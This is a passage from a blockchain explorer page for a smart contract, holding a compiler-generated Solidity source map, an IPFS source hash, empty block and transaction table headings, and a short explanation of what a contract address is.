6620:2259:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8560:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8587:207;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;8587:207:0;1004:187:1;6771:26:0;;;;;;;;;1342:25:1;;;1330:2;1315:18;6771:26:0;1196:177:1;7103:279:0;;;;;;:::i;:::-;;:::i;7390:25::-;;;;;;;;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;7390:25:0;1711:184:1;8523:28:0;;;;;-1:-1:-1;;;;;8523:28:0;;;;;;-1:-1:-1;;;;;2064:32:1;;;2046:51;;2034:2;2019:18;8523:28:0;1900:203:1;8831:44:0;;;;;;:::i;:::-;;;;;;;;;;;;;;5790:148;;;:::i;:::-;;5150:79;5188:7;5215:6;-1:-1:-1;;;;;5215:6:0;5150:79;;8802:20;;;:::i;6879:164::-;;;;;;:::i;:::-;;:::i;6806:64::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;6093:244;;;;;;:::i;:::-;;:::i;8560:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8587:207::-;8686:10;8651:12;8676:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;8676:29:0;;;;;;;;;;:37;;;8729:35;8651:12;;8676:29;;8729:35;;;;8708:5;1342:25:1;;1330:2;1315:18;;1196:177;8729:35:0;;;;;;;;-1:-1:-1;8782:4:0;8587:207;;;;;:::o;7103:279::-;7190:12;7215:34;7225:4;7231:10;7243:5;7215:9;:34::i;:::-;-1:-1:-1;;;;;;7277:15:0;;;;;;:9;:15;;;;;;;;7293:10;7277:27;;;;;;;;7268:36;;;7260:45;;;;;;-1:-1:-1;;;;;7316:15:0;;;;;;:9;:15;;;;;;;;7332:10;7316:27;;;;;;;:36;;7347:5;;7316:15;:36;;7347:5;;7316:36;:::i;:::-;;;;-1:-1:-1;7370:4:0;;7103:279;-1:-1:-1;;;;;7103:279:0:o;5790:148::-;5362:6;;-1:-1:-1;;;;;5362:6:0;4525:10;5362:22;5354:67;;;;-1:-1:-1;;;5354:67:0;;3416:2:1;5354:67:0;;;3398:21:1;;;3435:18;;;3428:30;3494:34;3474:18;;;3467:62;3546:18;;5354:67:0;;;;;;;;;5897:1:::1;5881:6:::0;;5860:40:::1;::::0;-1:-1:-1;;;;;5881:6:0;;::::1;::::0;5860:40:::1;::::0;5897:1;;5860:40:::1;5928:1;5911:19:::0;;-1:-1:-1;;;;;;5911:19:0::1;::::0;;5790:148::o;8802:20::-;;;;;;;:::i;6879:164::-;6948:12;6973:40;6983:10;6995;7007:5;6973:9;:40::i;:::-;-1:-1:-1;7031:4:0;;6879:164;-1:-1:-1;;;6879:164:0:o;6093:244::-;5362:6;;-1:-1:-1;;;;;5362:6:0;4525:10;5362:22;5354:67;;;;-1:-1:-1;;;5354:67:0;;3416:2:1;5354:67:0;;;3398:21:1;;;3435:18;;;3428:30;3494:34;3474:18;;;3467:62;3546:18;;5354:67:0;3214:356:1;5354:67:0;-1:-1:-1;;;;;6182:22:0;::::1;6174:73;;;::::0;-1:-1:-1;;;6174:73:0;;3777:2:1;6174:73:0::1;::::0;::::1;3759:21:1::0;3816:2;3796:18;;;3789:30;3855:34;3835:18;;;3828:62;-1:-1:-1;;;3906:18:1;;;3899:36;3952:19;;6174:73:0::1;3575:402:1::0;6174:73:0::1;6284:6;::::0;;6263:38:::1;::::0;-1:-1:-1;;;;;6263:38:0;;::::1;::::0;6284:6;::::1;::::0;6263:38:::1;::::0;::::1;6312:6;:17:::0;;-1:-1:-1;;;;;;6312:17:0::1;-1:-1:-1::0;;;;;6312:17:0;;;::::1;::::0;;;::::1;::::0;;6093:244::o;7473:494::-;-1:-1:-1;;;;;7587:13:0;;7558:12;7587:13;;;:7;:13;;;;;;:18;;7583:189;;-1:-1:-1;;;;;7626:10:0;;7639:1;7626:10;;;:4;:10;;;;;;:14;;;;:39;;-1:-1:-1;7652:13:0;;-1:-1:-1;;;;;7644:21:0;;;7652:13;;7644:21;;7626:39;7622:100;;;7703:3;;-1:-1:-1;;;;;7686:13:0;;;;;;:7;:13;;;;;:20;;:13;;;:20;;7703:3;;7686:20;:::i;:::-;;;;-1:-1:-1;;7622:100:0;-1:-1:-1;;;;;7736:15:0;;;;;;:9;:15;;;;;:24;;7755:5;;7736:15;:24;;7755:5;;7736:24;:::i;:::-;;;;-1:-1:-1;;7583:189:0;7786:5;7795:1;7786:10;7782:66;;7833:3;;-1:-1:-1;;;;;7813:16:0;;;;;;:4;:16;;;;;:23;;:16;;;:23;;7833:3;;7813:23;:::i;:::-;;;;-1:-1:-1;;7782:66:0;-1:-1:-1;;;;;7858:21:0;;;;;;:9;:21;;;;;:30;;7883:5;;7858:21;:30;;7883:5;;7858:30;:::i;:::-;;;;;;;;7919:10;-1:-1:-1;;;;;7904:33:0;7913:4;-1:-1:-1;;;;;7904:33:0;;7931:5;7904:33;;;;1342:25:1;;1330:2;1315:18;;1196:177;7904:33:0;;;;;;;;-1:-1:-1;7955:4:0;7473:494;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;2108:186::-;2167:6;2220:2;2208:9;2199:7;2195:23;2191:32;2188:52;;;2236:1;2233;2226:12;2188:52;2259:29;2278:9;2259:29;:::i;:::-;2249:39;2108:186;-1:-1:-1;;;2108:186:1:o;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:380::-;2643:1;2639:12;;;;2686;;;2707:61;;2761:4;2753:6;2749:17;2739:27;;2707:61;2814:2;2806:6;2803:14;2783:18;2780:38;2777:161;;2860:10;2855:3;2851:20;2848:1;2841:31;2895:4;2892:1;2885:15;2923:4;2920:1;2913:15;2777:161;;2564:380;;;:::o;2949:127::-;3010:10;3005:3;3001:20;2998:1;2991:31;3041:4;3038:1;3031:15;3065:4;3062:1;3055:15;3081:128;3148:9;;;3169:11;;;3166:37;;;3183:18;;:::i;3982:125::-;4047:9;;;4068:10;;;4065:36;;;4081:18;;:::i

Swarm Source

ipfs://c07140bb8486a14ee2a7bfbe843d0c221ad0dd6e582ccdd278669daa5ddabac4

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.